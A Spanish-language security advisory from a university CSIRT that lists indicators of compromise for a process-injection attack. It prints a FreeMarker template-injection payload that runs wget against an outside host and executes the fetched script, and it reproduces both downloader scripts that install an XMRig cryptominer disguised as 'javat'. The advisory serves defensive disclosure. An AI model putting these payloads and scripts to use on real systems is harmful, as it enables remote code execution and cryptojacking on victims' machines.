Agosto 16 de 2023

COMUNICADO DE INDICADORES DE COMPROMISO DE TÉCNICA DE ATAQUE DE PROCESOS DE INYECCION

Técnica Mitre:	T1055
URL detectado:	http://download.asyncfox.xyz/download/dupa2.sh
TLP:	**BLANCO**

El CSIRT Académico UNAD informa acerca de un asunto de ciberseguridad que ha sido identificado y abordado por este Equipo. Se ha detectado un evento de proceso de inyección dirigido a servicios web. Es preciso indicar que esta técnica busca inyectar código en los procesos para evadir las defensas. Se ha realizado la respectiva indagación y se han identificado una serie de indicadores de compromiso (IoCs) asociados con este asunto.

Indicadores de compromiso:

IP detectada:	185.225.75.242
Veredicto:	**Actividad maliciosa**
Fecha del análisis:	Agosto 16 de 2023 - Hora 11:58
Contenido ofuscado:	/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%77%67%65%74%20%68%74%74%70%3a%2f%2f%64%6f%77%6e%6c%6f%61%64%2e%61%73%79%6e%63%66%6f%78%2e%78%79%7a%2f%64%6f%77%6e%6c%6f%61%64%2f%64%75%70%61%32%2e%73%68%3b%20%63%68%6d%6f%64%20%2b%78%20%64%75%70%61%32%2e%73%68%3b%20%73%68%20%64%75%70%61%32%2e%73%68%22%29%7d
Texto decodificado:	/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("wget http://download.asyncfox.xyz/download/dupa2.sh; chmod +x dupa2.sh; sh dupa2.sh")}
Nombre del archivo:	**dupa2.sh**
Descripción y contenido:	El archivo contiene instrucciones para la descarga de malware y asignación de permisos: #!/bin/bash wget http://download.asyncfox.xyz/download/xmrig.x86_64 wget http://download.asyncfox.xyz/download/xmrig.i686 wget http://download.asyncfox.xyz/download/xmrig.arm8 wget http://download.asyncfox.xyz/download/xmrig.arm7 wget http://download.asyncfox.xyz/download/dupa.sh chmod +x dupa.sh sh dupa.sh rm -rf dupa.sh

Fuente. CSIRT Académico UNAD

Firmado por: Luis Fernando Zambrano Hernandez
Cargo: Director
Unidad: CSIRT ACADEMICO UNAD
Correo: luis.zambrano@unad.edu.co

Firmado digitalmente : 2023-08-16 12:33:49

Nombre del archivo:	**dupa.sh**
Descripción y Contenido	El archivo contiene procesos de instalación, buscando arquitectura del sistema y una carpeta con privilegios 777, comparando el direccionamiento para mover los archivos mv xmrig.* en la carpeta encontrada para luego lanzar la instalación del malware, borrando por último los archivos de instalación.
Recomendaciones	Validar privilegios de carpetas Validar la restricción del término BASE64_DECODE Evitar el uso de términos restringidos por los sistemas de monitoreo en URLs.

```
#!/bin/bash

NOARCH=false;
ARCH="";
FOLDER="";

if [ -f "/bin/uname" ] && [ -f "/bin/grep" ]; then
        ARCH=$(uname -mp);
        if echo "$ARCH" | grep -q "x86_64" ; then
                ARCH="x86_64";
        elif echo "$ARCH" | grep -q "i686"; then
                ARCH="i686";
        elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64";
then
                ARCH="arm8";
        elif echo "$ARCH" | grep -q "armv7"; then
                ARCH="arm7";
        else
                NOARCH=true;
        fi
else
        NOARCH=true;
fi

FOLDER=$(find / -writable -executable -readable -not -path "/proc/*" | head -n 1 ||
echo /tmp);
CURR=${PWD}

if [ "$CURR" != "$FOLDER" ]; then
        mv xmrig.* $FOLDER
        cd $FOLDER
fi

if [ "$NOARCH" = true ]; then
        cat xmrig.x86_64 > javat; chmod +x javat; ./javat;
        cat xmrig.i686 > javat; chmod +x javat; ./javat;
        cat xmrig.arm8 > javat; chmod +x javat; ./javat;
        cat xmrig.arm7 > javat; chmod +x javat; ./javat;
else
        cat "xmrig.$ARCH" > javat; chmod +x javat; ./javat;
fi
rm -rf xmrig.*
```

Cordialmente

CSIRT Académico UNAD
Correo electrónico: csirt@unad.edu.co
(+57 1) 344 37 00 Ext. 1042516